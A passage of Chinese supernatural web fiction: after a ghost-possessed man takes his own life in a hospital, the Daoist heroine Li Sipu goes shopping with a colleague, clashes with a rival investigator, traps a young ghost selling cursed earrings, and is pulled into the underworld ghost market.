何诏连看都没看她一眼,血污随口中溢出,滴落在地板砖上,他嘴角咧开:“知道为什么我把褚逢西锁在大院里吗?”
突然扯上褚逢西干什么?李俟菩没答。
赵慵向她递来一个眼神,她手作瓶口状动了动,赵慵和其他二人恍然大悟地点点头。
“秦云此死后的某一天,我在池塘边遇上了已死的她,她很茫然很彷徨,我觉得她很像我,于是把她带去了她的家,临走时给了她朽木之法,也给她困在了大院里面,此后我再也没去见她。”
“所以呢?”覃诩水问。
“似此星辰非昨夜,为谁风露立中宵——”
呕哑难听的声音在空气中回荡,今夜的月色十分的美,细细微风荡起紧闭的窗纱,点点月光吹落留在何诏侧脸一瞬,又迅速黯淡下去,照亮他始终带着悲凉的眼。
“喂!”覃诩水揣测道,“古诗词你倒是背得溜,成心拖延时间,耍我们是吧!”
要说古诗古文,在场的恐怕只有李俟菩懂得多一点,第一句诗她搞懂了,第二句……
怎料覃诩水前一秒刚讲完,何诏就突然暴起,他额头上的青筋直跳,抓起地上的水果刀就往离得最近的赵慵挥去,但李俟菩手比他快,上前格挡。
何诏却突然收力,刀尖向后一转,刀柄都还没抵上李俟菩的手肘,就径直地用那刃毫不迟疑划向自己脖颈。
他速度快得惊人,李俟菩心中预料不及,只得探手去抓,但堪堪只离那刀身几指距离,刀没摸到手上却溅满了温热的鲜血。
原来套了人皮的鬼,血也如此滚烫吗?
血色在几人的眼眶里绽开一瞬,谁都想不到刚刚还是强弩之末的男人怎么会突然爆发这么大的力气,痛快地结束自己的灵魂。
刀“咔嚓”掉在地上,刚刚还跪着的疯癫的何诏也无力倒下,血痕绕脖颈一圈,深可见骨。
他嘴里抑制不住的鲜血狂涌,双眼睁得老大,却没有看向站着的四人,只是把目光远远抛向那抹地上的月光。
半滴泪划落脸颊,何诏又露出了常挂在脸上的疯笑。
脖子上不知谁替他缝的疤,在多年以后,被他亲手再添一道艳丽的红。
“这,就这么自刎死了?你话还没讲完呢!”覃诩水一时不知道该露出何种表情,轻轻踢了踢他的脚。
余愁山下意识地去捏他的脉,他的手却忽然从指尖化灰消散在空中,她扑了个空。
一切来得太快,从何诏身死到消亡才三分钟不到。
“宁愿死也不愿意出卖他的恩人,倒是忠心。”李俟菩倒没有多少唏嘘,看着地上随灰而走的人,只是在心里觉得何诏背后有天大的阴谋。
死人死诡她见得多了,是否继续查,这也不是她该管的事情。
她顶多对那三个神物感兴趣。
“唉。”赵慵有些不忍,“真是一环扣一环,还有许多事情没弄清楚,就……这个案子我得回组里从长计议,不能就这么算了。”
这就是还要查下去的意思,李俟菩心累地敲敲手指。
要是放以前,她直接就把诡捉了轻松了事,世间有太多恩恩怨怨,她只能管好自己,对于那些是非,她总不能一家一家的去解决。
人生苦短,她只管活好当下,活好自己。
李俟菩道:“若是查生犀,我建议走一趟鬼市,要是查土中碧,我建议回案发现场,去找找封印它的地方在哪,或许会有线索。”
“嗯,反正线索不能断,但现在太晚了,只得明天早点去酒店看看了。”赵慵拍了拍余愁山的肩膀,没有回答关于鬼市的问题。
整个病房里只剩四个人,挂壁上的钟指向凌晨两点五十分。
覃诩水打了个哈欠,揉揉眼睛,疲惫地应了声,走出病房。
赵慵和余愁山也并肩走出去,李俟菩回头沉思几秒。
决定还是将地上沾血的水果刀贴心地拿上,然后往地上贴了个清扫符,将地板上的血渍弄干净后,才跟上她们。
阴冷的楼梯间能看到病房里没看到的月光,只余几个人的整齐划一的脚步声。
覃诩水头脑风暴了一会儿,憋出一句话来,“这胡靳也是蠢,何诏让他招魂就招魂,一点都不怕秦云此找他报仇,这不,死无全尸?”
赵慵接住她的话:“总之是何诏好盘算,两个人的怨气,够让土中碧自己跳出来了。”
覃诩水忿忿不平:“何诏就没把自己摘干净过,说到底他只是为了别人行事,说不定他早就知道自己要死了,还非要死在我们面前给我们一个膈应。”
“胡谙还在松帷那边,先别说那么多了,我们去楼下看看吧。”赵慵像顺一只小猫,也打了个哈欠。
连续熬夜的她已经十分疲乏了,眼周还顶着黑眼圈。
李俟菩也累得慌,只要是个人熬夜就累,还别说她来到这个世界之前一直都是规律作息。
她突然就觉得自己摊上了个不要命的活儿。
默默清清嗓子,就要质问她们讨个公道时,就听见了医院大门外的一声啜泣。
是胡谙。
她哭得单薄的身体一抖一抖,
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不远处还有宁松帷一直在安慰她,夜深了,她的哭声随风漂流,断断续续,格外哀伤。
赵慵上前接过哭得险些连站都站不稳的胡谙,让覃诩水和宁松帷去另一旁交接了。
“胡小姐,有没有哪里不舒服?”赵慵轻言细语道。
胡谙满眼泪水,她胡乱抹去,摇摇头。
见着李俟菩在一边,她眼睛转亮,又不知想到什么,眼里的光全都暗下去。
她缩了缩脖子,去拉李俟菩的手,试探问道:“何诏也死了,是不是?”
赵慵看出胡谙现在的精神状态不太稳定,替李俟菩答道:“胡小姐,你别太伤心,杀死你弟弟的凶手总有一天是要伏法的,死或不死都是一样的结果。”
胡谙眼里的泪又落下来,身体僵硬如石,“我应该高兴吗?我不知道怎么说,可我就是有点难受。”
这种难过不是别人能说清楚的,没人知道胡谙的心里到底在想什么,也没人知道胡谙的眼泪里到底包含了多少理不清的情感。
赵慵张张嘴,还是把真相咽了下去,没有多说。
被亲弟弟推入深渊又被蒙在鼓里,被何诏爱上又遭无妄之灾,所有的事情里胡谙是最无辜的,秦云此是最悲惨的。
一招五年棋局,让两个平白无故的女人仇恨两年,获利的两个男人却得钱的逍遥法外,有目的收网而归。
最终得到应有的报应。
不过没关系的。
李俟菩抬头看了看天,滤过所有杂色的墨,只剩点缀的星辰。
“胡小姐,你即将迎来了你新的生活。”
*
“美好的一天我来了!”
朝阳缓缓从地平线升起,徐徐清风让人十分的舒适。
今天赵队又放了一天假。
原因出奇的怪。
没错,她为了给上层领导报备,居然要远赴另外一个省份,行程十分赶,不得不先把回案发现场的重要事件推到了明天。
毕竟何诏已死,短时间内不会有什么差错。
于是,李俟菩道:“你们这个调查组偏得还不如山寨据点,起码人家是蛇鼠一窝。”
正要迎接美好一天的覃诩水被歹话一刺,面无表情道:“好神仙,你着实有点冒昧了。”
李俟菩侧首,指指清早还没开门的高楼大厦道:“所以你到底拉我来干嘛?”
被覃诩水左缠右缠的她实际上是没招了,昨夜睡得极晚,也不知道覃诩水是吃什么长大的,休息不到几个时辰,就活力满满地来敲她门。
她的拳头是真的痒了。
覃诩水拍拍胸脯,义气地说:“上次说了陪你逛街,我可是说话算话的。”
李俟菩揉搓双手:“是吗?所有的钱你付?”
覃诩水哼了一声,傲娇道:“别看我是个穷鬼,我可是有提款机的。”
“什么东西?”
“哎呀你别管,就是有很多钱。”
“哦,那这个什么机在哪儿呢?”
覃诩水不怀好意地笑笑,李俟菩顿感不妙。
“远在天边,近在眼前。”
17. 功德+17
“嗯?”李俟菩指了指自己,“我可是一分钱都没有。”
好啊,主意都打到她身上了。
“你少来了你,这个月工资不是提前给你了吗?”覃诩水夸张地挥挥手,“那么多钱呢,李小姐不会这么小气吧。”
李俟菩冷笑一声,转身就走。
“哎喂,你别走啊,我逗你玩儿的,我说的提款机不是要花你工资。”覃诩水见她要走,忙拉住她,着急开口道。
李俟菩才停下脚步,抽开覃诩水的手,只觉自己的耐心是一日比一日好了,都可以真去坐那莲台当个真观音去了。
覃诩水讪笑一声,咬住嘴唇:“这不赵队上次说你所有的花销都是组织报销嘛。”
李俟菩嘴角上扬了些许弧度,故意道:“哦,她又没说你的也要算在里面,你莫不是听岔了?”
覃诩水知晓她闷着坏,当即就可怜地又抓住她衣角,“我的好姐姐呀,你知道妹妹平日里都是过得什么样的日子吗?那是比猪吃得还惨,比牛睡得还简陋,我的苦楚,你都不知道啊……”
“那个死山还成日和我作对,我都是日日以泪洗面,不买东西缓解一下我的心情,叫我怎么过得下去啊!”
说着还抹了抹不存在的眼泪,顺便拉踩了一脚余愁山。
现在整个大街上只有寥寥几个路人,她说得大声,惹来行人频频回望。
李俟菩冷眼旁观之姿,反正丢的不是她的脸,而且,这人未免也太戏精了一点。
“第一,我并无姊妹,你还是不要乱攀亲戚。”
“第二,你今早比我多吃了几个包子。”
“第三,我觉得你自比猪牛,有点抬价了。”
覃诩水被自己口水一呛,幽怨地看着她:“你要不要舔一舔你自己的嘴巴,把自己毒死算了,我给你收尸。”
刚说完,不远处那高楼的门被人拉开了,大街上还是清清冷冷的几人走着。
覃诩水嘿嘿一笑,像是看见了奶酪的老鼠,不等李俟菩反应,直接拉着她冲入商场大门,喜上眉梢,满脸生花。
还不忘说:“来都来了,不买东西就真的对不起自己了,哈哈哈哈哈。”
笑声极为张狂,像一只成精的野猴子。
覃诩水的力气没她大,李俟菩被拽得长发扑一满脸。
她其实完全可以挣脱开,自己回局里。真不想逛,她可不会勉强自己。
但是,她来这个世界这么久,的确是有些好奇这些高楼里面都卖的些什么玩意儿,是不是比包子还好吃?是不是见到她从没见到过的东西?
就像她第一次下山历练,看见了卖糖葫芦的摊点就走不动道了,那诱人的红,李俟菩高低得整一根尝尝味道。
于是她的师兄给她买了一根,她试着舔了舔,虽然她不太喜甜食,但这滋味是有点新奇的。
她没忍住,直接吃了一颗又腻得发慌,后来看见糖葫芦就想起那腻死人的味道,彻底祛魅。
最后那根没吃完的糖葫芦她也就顺手给了师兄,没再管了,后来……
后来?等等,她为何会突然想起这些事情,记忆为何那么清晰又那么模糊,明明她连师兄的脸都记不太清……
“好姐姐?神仙?好神仙?”
“李俟菩!”
她脑子空白一下,猛然惊觉,转瞬被绚丽彩灯晃了眼,慢慢才看清覃诩水稍微有些忧心的脸庞。
“你怎么了?身体不舒服?还是没睡好?”覃诩水眼里的担忧化为实质,“我的错我的错,要不你回去歇着?我们改天再来?”
刚还势在必行的覃诩水慌了神,惹来李俟菩一声轻笑。
“没事,只是想起了一些往事。”她宽慰道,“不是非要不可,撒泼打滚?怎么这就妥协了?”
“身体是本钱,你要是真有事儿啊,我肯定不会撒泼打滚。”覃诩水吐吐舌头,加重了后四个字,“不过,我其实挺好奇你家里事的,虽然根本没有查到有关于你的信息。”
李俟菩眼底闪过一抹惊讶,还没有意识到说漏嘴的覃诩水,被李俟菩一拍脑袋,说:“不是说充分信任我,没有查吗?”
话落,覃诩水眼睛瞪得老大,立马捂住嘴,眼珠不停地打转,就跟框她进凶宅那天一模一样。
其实李俟菩不用想也知道,这种明文规定的组织收人肯定是需要经过层层严格审查过关才会进去,赵慵之所以那般说,无非就是仗着她不懂,拉拢一下人心罢了。
而没查到任何信息的自己,她们就更不会放心,没人会不对身世白板的人疑心。
之所以留在身边,不过是觉得一个强大而不稳定的因素不在自己眼皮子底下不放心而已。
查案她不是一绝,玩心弄术她也不会,但这也不代表她就还真是个傻子疯子,听之任之。
“哎呦,那我们不查,我们脑袋顶上的那些人肯定也要查啊,赵队只是不想让你与我们心生嫌隙,故意那么说的。”覃诩水叉着腰,只好坦白一半。
李俟菩也没有过多计较,抬脚便转悠这有些陌生又漂亮的场地。
覃诩水见她神色如常,跟上道:“你可别跟赵队告状啊。”
李俟菩不言,后面人又说:“所以,你能给我讲讲困扰你的往事吗?”
“不记得了。”
“不是,不说就不说,你这借口也太敷衍了吧。”
可李俟菩是真不记得了,她从不说谎话。
“这里叫什么?”她倒是对这个地方有着浓烈的好奇心。
灯火辉煌的大殿,里面看起来琳琅满目,各种古怪的小东西摆在台子上,灯光一照,让她身处富饶的藏宝阁一般,应有尽有。
覃诩水看她是真不想说,也就没有再纠缠,大跨一步,介绍道:“这里是市中心的商场,你想买任何东西这里都有哦。”
“任何东西?”李俟菩有点不信。
“也不是任何,这里主要是一些电子产品,时装,饭店,有好几层呢,我带你慢慢逛。”
李俟菩抬头看了看,的确很大很高,不过清晨这里的人都很稀少,甚至上面几层都没什么人,只有售卖商品的人在里边忙忙碌碌。
“你看看,有什么想要的,想吃的,都不用客气。”
覃诩水在前面带路,嘴里不停地说这个怎么怎么样,那个怎么怎么样,李俟菩还是学到了很多,虽然这里的白话她已经融会贯通,但好像还有好多新东西等着她去学习。
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比如——
“你猜,这个叫什么?”覃诩水指着可以关合自如的白色砖块。
李俟菩瞧了她一眼,覃诩水便得意洋洋道:“冰箱,专门保鲜和冷藏食物的存储工具,是每个人家里必不可少的家具。”
冰窖?
“还有这个这个。”她又指着前面那高高立着的块头。
李俟菩睨她一眼,覃诩水打哈哈又说:“是空调,可以调节气温,净化空气,重要的事,可以在夏天和冬天体会到春天的温度。”
可以暖煦溽暑?
“看,你看前面那个,是不是很熟悉?”
李俟菩顺着她指尖看向那挂在墙壁上的黑身红眼。
“对,就是你打坏的那个!它叫摄像头。”
覃诩水兴奋地一直充当搭桥人,李俟菩一看那标在上面的价格,拳头就不由自主地缓缓捏紧。
“覃诩水。”李俟菩薄唇轻启,“这怎么看都没有十万块吧。”
真当她是无知小孩儿了是吧,她还是向应庐套了话的,关于金钱数目这方面她可是慎之又慎。
也许是李俟菩冷脸的气氛太强,覃诩水听到她喊自己名字时寒毛一颤,“不是不是,价格都有高低的,这个只是便宜的那种,我们可都是从国外进的,和这些粗制滥造的东西不一样!”
她指着那才标了两个零的摄像头,把自己脑袋摇成了个拨浪鼓。
“是吗?”李俟菩假笑道。
看见李俟菩笑,覃诩水越加冷汗直冒,其实那摄像头确实没有上万块,甚至比这个抬在明面上卖的还便宜得多,顶多两百块钱。
但她总不能说自己为了骗她进来,基本所有的套路都是制定好的吧。
再者,组织也不是用这套法子骗她一个人了,这是传统,传统啊。
于是覃诩水撑死了也要骗下去,“是的是的,你当时没有看清楚,那摄像头浑身黝黑,比之法器都不遑多让啊!”
“你再看看这个,你看,形状做得奇差,线头还接得复杂,怎么看都是个劣质货!”
李俟菩还真认真观察起来了,不过覃诩水说得好像也不差,这东西确实丑得可怜。
她若有所思:“好像……有点道理。”
可覃诩水一口气还没提上来,后边就传来老板娘的怒吼:“嘿你这小丫头,砸招牌是吧!哪里劣质了,我这最次的都是稀罕货,你个毛都没长齐的大学生倒还评头论足起来了!”
“不买就给我滚!”
覃诩水简直欲哭无泪,弱弱说了声对不起,拉着还在深思的李俟菩就狂奔。
又想起什么,欠揍大声喊道:“多谢老板娘称赞,我今年可24了!”
后头传来老板娘的叫骂,李俟菩罕见地笑出了声,“覃小姐,这么狼狈啊。”
覃诩水跑得气喘吁吁,缓了口气道:“嘿,你倒是幸灾乐祸。”
李俟菩事不关己,“又不是我说的。”
覃诩水腹诽,还不是撒了一个谎,又要用另一个谎去圆,都是因为这个冷漠无情的女人!
她刚想反驳几句,身后就又传来招人厌烦的哄笑声。
“哟,覃王牌,带着你们组的土包子来见世面了呀。”
18. 功德+18
不阴不阳的语调成功让李俟菩认真看了覃诩水身后人一眼。
天蓝色的西装短裙配上一头双马尾,手上花里胡哨的一些装饰多得让李俟菩有些难以直视,娇俏脸上的一双细长凤眼里流露的全是对她的轻蔑。
覃诩水像是知道后面的人是谁,头也没回,一张嘴叭叭道:“谁呀,一大清早的嘴就怎么臭,是出来得太急忘记把你的一口黄牙刷干净了吗?”
身后人眼尾一扬,轻嗤道:“也就嘴巴功夫厉害了,隔老远就听见你被人轰出来,丢不丢人啊?”
她眼睛又朝李俟菩上下扫视一眼:“听说931新来的人是个包子都买不起的乞丐,你们这的眼神啊,可是真是越来越不好了,不如把这第一组的名往后靠靠,让我们三组也排在前面玩玩儿?”
李俟菩听她张扬讥讽的话,如无其事,一言不发。
这人估计是上次覃诩水提过一嘴的那个三组的人,同个区域的调查组,按能力排名分,这么安排自然是是非多。
有龃龉很正常,就是这人,看腔调应该不是个善茬。
“要不说三组怎么只能是三组呢?内卷又有什么用,素质不高,还想撑起分组的门面?有陈箐你这样的人在,你们三组领队的得没脸出来啊。”覃诩水的嘴也是一流,说完才拿正眼看身后人。
陈箐气得嘴一歪,“呸!什么叫有我这样的人在,覃诩水,你真当你们组都是王牌是吧,还不是全靠赵慵,剩下的几个,哼!”
覃诩水也被这番话气着了,指着陈箐的鼻尖大声道:“你把话说清楚,剩下的几个怎么了——”
陈箐扇开覃诩水的手,“一个走后门的,一个身世不明的自大狂,还有一只遇人就狂吠的狗,现在又来了一个乞丐,真是牛鬼蛇神凑一窝!”
活像两个三岁幼童斗架,顶多就是嘴里的话难听了点。
偌大无人的商场,被这两人吵得像是有十万个蜜蜂在里面游荡,一声叫得比一声大。
不少店员探出脑袋来看,走过一个清洁工,还有些欲言又止。
覃诩水气得头冒烟,撸起袖子就要和这个双马尾妹妹在大庭广众下干架。
陈箐也不甘示弱,看覃诩水动手,她也做好了要大干一场的准备。
李俟菩向来选择性的不在乎凡人的闲言碎语,但这个陈箐,她觉得有必要听一听。
就在这俩鹅快咬上对方时,她直接上手一边拎一个,把她俩分开,像猫提耗子一样,还上下晃了晃。
脚突然离地,脖子被衣领卡着,陈箐顿时感受到了呼吸的滞涩感。
她一脸震惊地看向李俟菩,“你干嘛!有病是吧,找死是吧,快放开我!”
刚刚还在耀武扬威的陈箐被人如此羞辱地提起领子,像个青蛙一样舞动着自己的双手双脚,偏还挣脱不开凶手的桎梏,只能舞得更拼命了。
场景滑稽得让覃诩水噗嗤笑出了声。
“你笑什么笑?你傻鸟啊,你也被提了!”陈箐简直不敢相信自己的耳朵,“快放开我!没礼貌的乞丐,你到底想干嘛!”
陈箐的嗓音又尖又吵,李俟菩不耐地啧了一声,放开覃诩水转手给了她一巴掌。
说是一巴掌其实连两分力道都没使,完全就是在陈箐脸上挥了挥风,连一个蚂蚁都拍不死。
陈箐却愣在当场,一张嘴张张合合地没说出一个字来,可能是觉得这举止有些奇怪吧,直接石化了。
李俟菩倒是觉得她安静下来了,看了一眼看人吃瘪傻笑的覃诩水,道:“她身上有生犀的味道。”
覃诩水思绪还没收回来,有些瞪大眼睛,“什么?”
“味道不是很浓,应该是刚刚沾上不久。”李俟菩顺带捻起陈箐的左耳环,“这个,是源处。”
陈箐被这有些冒犯的动作惊得回神,惊恐地看向覃诩水,结巴说:“什么生犀?你们在说什么,我怎么没闻到?不对,你可别胡说啊,小心我告你诽谤!”
“我也没闻到,你是不是搞错了?”覃诩水看李俟菩不像开玩笑,又转头看陈箐,“你们三组搞什么呢?!”
成为众矢之的,这下陈箐倒是手忙脚乱地开始解释起来:“什么跟什么,生犀命令禁止的我弄这玩意儿干啥!我们三组从不用这东西的!”
她赶紧弄下自己的黑十字架耳环,放鼻尖闻闻,硬是没闻到,又急呼呼地给李俟菩,“你们真别欺人太甚,说不过我就以多欺少,现在还要栽赃我是吧!”
陈箐的马尾随她一摆一摆,着急得要把这盆脏水泼出去。
“谁栽赃了,我们阿菩可是神人,她说你有问题就一定有问题!”覃诩水也有点不相信,不过她还是更相信李俟菩的观察能力。
但是相处多年,覃诩水也了解陈箐的为人,虽然经常作对,但这种违规的事陈箐这个人却是怎么也不可能会干的。
覃诩水持中立态度。
“喂,你什么意思啊!帮她不帮我是吧!”陈箐捏住她耳朵,大喊道。
她被吵得耳朵一痛,就要反手。
眼见两人又要吵起来,李俟菩开口道:“不是她有问题,是耳环。”
“还有,有东西要来了。”
覃诩水迟钝地看向李俟菩,被陈箐钻了空子揪住耳朵。
李俟菩整个人威压十足,说话十分肯定,这股架势倒是让陈箐没大肆闹腾了,只将那手搭在覃诩水肩上。
“什么意思?”陈箐也把另一只耳环拆下来,“这耳环是我刚买的,就在那家店。”
陈箐忙去指,定睛一看却只看到店铺没看到店员。
这时,整个商场仿若无人之境,所有的店员与清洁工全都不见,只剩三人站在原地。
“这是怎么回事?”陈箐还在往里看那不在的店员。
“鬼打墙。”李俟菩与覃诩水异口同声。
话落到地上,陈箐握住手里的耳环,十字架戳到皮肉,低笑道:“我就说那男人怎么怪里怪气的,好啊,真是暗算到它祖宗头上了。”
李俟菩环顾一周,“白天遇上鬼打墙,还是头一回。”
覃诩水却一笑,轻声道:“没事儿,这个我有经验,好姐姐要是怕的话,可以到我身后去。”
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>陈箐闻言,忍不住无语嘲弄:“姐妹,你被鬼附身了?”
覃诩水懒散地张口:“想咒我死就直说。”
商场的悬空大灯滋拉一秒。
“吼,现在的诡物都这么嚣张了吗,免费来送业绩?”覃诩水察觉到场景的不寻常来,“卖你耳环那位安的什么心呐?”
“那男人怎么看都是个正常人啊。”陈箐想来想去也没想出个名堂。
周遭渐渐被白雾涌上,云烟绕至李俟菩瘦削的脚踝,诡物之气在无声无息中将三人笼络,就如蜘蛛布下天罗地网。
“专心。”李俟菩从容道。
覃诩水默默听话,不再干扰,陈箐自是不愿听别人指挥,但眼下危机四伏,她朝不近的两个人踹了个空气。
诡还未现身,李俟菩尚且判断不了这诡物有多少修为,但在李俟菩面前,这些都是小把戏。
许久,那诡似是把她们圈在领地里就全然不管了,一直没出来,诡气依存。
覃诩水却极为偷感地指了指电梯旁的绿植角落,陈箐了然。
于是耐心守株待兔。
就在那诡认为这三人奈何不了它缓缓显影时,它一根的手指刚化为实,李俟菩就如离弦之箭般弹起,力道强硬,捏住那手指就往绿植外拽。
诡物却聪明得紧,直接断指求生,一个弧形绕至李俟菩身后就要逃走,迎面却撞上一个人。
它“咯咯”笑了两声,李俟菩竟从里面听出赔笑的意味来。
“想跑啊?”覃诩水眼里没一丝笑意。
诡物停了半秒,掉头就要开溜,但又被人堵住了生路。
“好玩吗?要不你说说,你和那店员的关系?”陈箐把指节捏得直响,眼睛却是一直盯着刚刚帅得让她发晕的李俟菩。
凤眼秒变星星眼。
三人成虎,诡物弱小得快要挖个坑躲在地底。
一团幼小黑影不断扭动,就像长了跳蚤,往左是人,往右也是人。
最终它被逼得叽里呱啦叽里呱啦地说了一大堆,留下李俟菩与陈箐满脸问号。
覃诩水说:“不信。”
它又说了几句,声音像糊了几层面糊,李俟菩就是把耳朵贴在它身上也听不清。
覃诩水点点它,阴笑道:“要是还不说实话,我可就要吃诡了。”
陈箐嫌弃地一瞥,转眼依葫芦画瓢,怪怪地学了一句。
声音黏稠得让李俟菩后退半步。
诡物像是被它逗慌了,身体转动得更厉害,陀螺一样怕是就要起飞。
“我连鬼话都听得懂,还不能吃了?就专吃你这种细皮嫩肉的小诡。”
覃诩水还在那里吓诡,陈箐一个巴掌就呼过去了,“能不能问点正经的?”
“哎呦,你找抽是吧,这不是正在问嘛!”覃诩水疼得直哈气,一个劲地放狠话。
看陈箐这架势,李俟菩不妙,连忙拉架,哪知手刚搭上陈箐的手,陈箐就不做声了。
怎么突然这么听话?
偏眸一看,陈箐居然诡异地脸红了。
李俟菩:?
19. 功德+19
这人咋了?受风寒了?
李俟菩默默后退,如果真是风寒,她还是怕传染的。
诡物没注意到这边动静,一直在说话,这里只有覃诩水能听懂,自由对话,李俟菩见恐吓得差不多了,和她道:“问它到底想干什么?”
雾气越来越多,顺着李俟菩裤腿向上攀爬,她鼻子被搔得痒,用袖子抹了抹。
覃诩水还没应,那诡物听完倒向李俟菩挥舞着黑糊糊的手,讲了好多话。
“你能听懂人话?”李俟菩显然没明白这诡说了什么。
“难道它应该听不懂吗?”覃诩水也有点懵了,对李俟菩道,“我和它交流都是讲人话啊。”
李俟菩的疑惑更深了。
“不是……”覃诩水有点没连接到李俟菩的流量热点。
但陈箐好像明白了李俟菩的点:“诡物是能听懂人话的,因为它生前就是人,是鬼后独成一套鬼语系统。”
覃诩水看着还在艰难捋清的李俟菩,“你该不会认为,人诡语言各不相干吧?那你之前都怎么捉诡的?”
几十年来的世界观受到冲击,李俟菩还真就是那样认为的。
当初上课的时候,她漏了一节课没听,授业师尊平时见首不见尾的,加之性格孤僻,没人给她补,她慢慢也就给这个事忘了。
李俟菩想起以前捉诡的时候,师兄有些恶趣味地吓唬它们,它们还真就四处跑得飞快了,当时她还以为是什么新招式,气得三天没理师兄。
师兄……
李俟菩皱了皱眉,怎会又记起这个连脸都不知道的人?
自从她进这个商场开始,就不自觉地回忆起往事,她下意识地在心中呼唤应庐。
却如一颗石子落入水中,只见波纹。
不对劲。
“咋啦你?”覃诩水一点她的手。
两道灼热的视线投向李俟菩,她平常道:“一剑而已。”
陈箐和覃诩水听见这答案,双双惊掉了下巴,后俩人一手扶一个,才没让口水流下来。
“想不到,你还挺厉害的。”陈箐声音一下子就软下来了,娇羞地看着李俟菩。
“那也有诡会说人话。”李俟菩还在纠结这个问题,没管陈箐那钦慕的眼神。
“这个就得分情况了。”
“有没有兴趣我们组?”
覃诩水与根本不在乎这两人在讨论什么的陈箐一同说道。
气氛一下子寒冷彻骨,李俟菩不答,选择闭嘴。
张口就是挖人,覃诩水彻底坐不住了:“陈箐,你脑袋被浆糊了?刚不还说人家是乞丐来着,怎么说变脸就变脸?”
哪想陈箐脸皮厚,说:“是我眼拙,眼睛瞎不行啊,这么好的人才埋没在一组真是可惜了。”
覃诩水什么都能忍,这件事反正是忍不了,但其实她一件事都没忍过,牙齿磨得锵锵响,像嚼了块钢铁,就要往前冲。
李俟菩直接一手捂住她嘴,嘴里空气往回流,覃诩水差点被一口气闷死。
陈箐见状,正要捂着肚子大笑出声,也被李俟菩捂嘴,闷死加贰。
李俟菩耳边一清静,看向那团没存在感的小诡:“生犀,从哪来的?”
这诡从她捏住手指那一刻就知道了,它年岁绝对不超过十五,顶多算个少年,修为连三个月都没有,是个挡箭牌。
小诡说了几句,李俟菩就把手从覃诩水手上撤了,“说。”
“它说它也不知道,有人请它办事,卖耳环。”
然后覃诩水的嘴又被堵住了。
“卖她耳环的那个店员就是你?”李俟菩说,“掺有生犀的耳环你卖了多少,可还有人遭遇鬼打墙?”
覃诩水等那诡说完,手从她嘴上撤了好一会儿,她才道:“它说店员不是它,是请它办事的老板,耳环只卖了一对,就是陈箐带的这个。”
李俟菩目光沉沉,“你还挺有目的性。”
覃诩水的嘴得了自由,朝着陈箐赶忙道:“诡站在你面前你都看不出来,你们三组干什么吃的?”
李俟菩适时把手拿开,陈箐理不直气也壮:“什么时候轮到你评价了,管好你自己吧!”
“你当真没有闻到一丝诡气?”李俟菩问道。
诡却抢先说话,覃诩水翻译道:“雇它的,是个人。”
“人?除了我们这些捉诡的,谁还能这么大胆子和鬼做交易?”陈箐暗暗思考出声。
“你的报酬是什么?”覃诩水威胁着问,“要是骗我们,下场你知道。”
结果却得了回答后,覃诩水就默不作声了。
“怎么?”李俟菩看覃诩水那张与严肃不搭边的脸。
“它说它的报酬,是去往鬼市。”
“它现在不能去吗?”陈箐有些惊讶,看着这小诡,“是神智有缺?”
“神智有缺确实是不能前去,还有一种,是像锁魂阵一样束缚住的诡物也不能自由通往鬼市。”李俟菩抱臂,“但秦云此的那种是例外,锁魂阵的四点没有一点连在她身上。”
覃诩水嘴唇微动:“说这么详细干嘛?”
李俟菩却道:“是给不懂的人听的,你算一个。”
“不是,你这是在拐着弯说我基础知识薄弱啊!我可告诉你,我们训练可是实打实的,什么我不知道,瞧不起谁呢!”
李俟菩冷幽默讲完后又不接茬了,看向那诡,“最后,你的目的是什么?”
不消一刻,她眼前没来由地一黑,意识逐渐混沌,两人的惊呼声逐渐远去。
等再睁开眼时,森森鬼气已经袭至她的耳畔。
就要往她骨子里钻。
幽蓝鬼火浮现在眼前,阴冷混杂熟悉的气息包裹全身,她回头,覃诩水与陈箐已不在眼前。
只剩一张敞开的古铜门,两个守门的黑白无常,外加牌匾——
阴曹地府。
李俟菩心底咯噔一声,自己当真是好多年没来这里练手了。
铜门里迷雾重重,血红铺洒在黄泉道上,风从石板路穿隙而过。
只不过眼下并不是怀旧的时候,而且这个鬼市和她们那边到底是不一样的,还是先找那两鹅要紧。
这诡自己下不来,倒是把三个活人送到这里来了,真是好笑得很。
正想着,忽然,肩上一凉,白骨枯瘦的手攀上她肩。
李俟菩一拳就朝后去,打碎了那白骨头套,后露出一张清冷仙人的脸。
结果——
“嗨。”他开心地打着招呼,“早上好,中午好,晚上好啊。”
“我刚喊你,故意不应?”李俟菩毫不意外应庐会出现在鬼市里,只对他没有应答有些困惑。
应庐不接话,转而道:“谁让你不带我去商场玩
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儿,我生气了。”
李俟菩懒得和他扯皮,又问了一遍:“为什么?”
“这不是想提醒你,有危险嘛。”应庐叼着狗尾巴草,“刚我还听见那小诡说,它的事儿就是带你们来这儿,你们一直问一直问,真来了你们又不乐意,真是难伺候。”
应庐举起手发誓般道:“报告菩萨奶奶,它说的就是这个,一字不差,我可没有添油加醋。”
李俟菩瞥他一眼,看来他也懂鬼语。
应庐又邀功般偷偷指了指那黑白无常,“刚我可替你提前打好关系了,来都来了,去追那诡物就太可惜了,要不,去查查生犀?说不定能遇上那小诡的老板。”
“你倒是想得挺周全。”李俟菩看着两个守门神,“活人不可进,你怎么说的?”
“我不贴心谁贴心?”应庐骄傲地挑了挑眉,“哎呀,这个你就别管了,只管进就是了。”
李俟菩又看了看四周,没有人气,道:“这一来一回的我是受得住,就是那两个人,我得把她们送回去。”
“嘿呦喂,我怎么就不见你关心关心我呢?”
但很可惜,应庐的醋酸劲熏不到木头李俟菩。
“我刚看了,门外没找到你朋友的踪迹,大概是小诡技术高超,早把她们送进门了。”
“就是不知道小诡老板到底想干什么,居然给你们抛了个生犀引子,又把你们搞来鬼市,许是案子的幕后人要走棋了。”
李俟菩听了一番应庐的话,微不可察看了他一眼。
然后她没理,心里挂着两鹅进门了。
黑无常浑浊的眼珠稍稍一转,瞥向进门的一人一灵。
李俟菩也朝它睨一眼,转眼又看向门边没了头摸瞎子的恶鬼,走一步绊一跤,走两步居然还绊进白无常怀里去了。
对此,应庐很没道德地笑出了声。
李俟菩斜他一眼,应庐又立马噤声了。
仔细算来,打从她开始自由去山下历练时,就从未再踏入此地了。
阴曹地府之所以叫鬼市,答案有很多种,最为确切的一种说法就是,如今的诡物已经进化成了一种特别的生物,会有意识地举行大肆活动。
比如赚钱。
这般执念也是因生活所迫,生前穷惯了,拿着家里人吝啬烧下来的纸币,心里不安得很,于是创新创业,在地府做起生意。
随波逐流的诡物呢,像是唤起了前世搞生意的那股劲头,开得铺子那是一个比一个新鲜,吃的喝的玩的应有尽有。
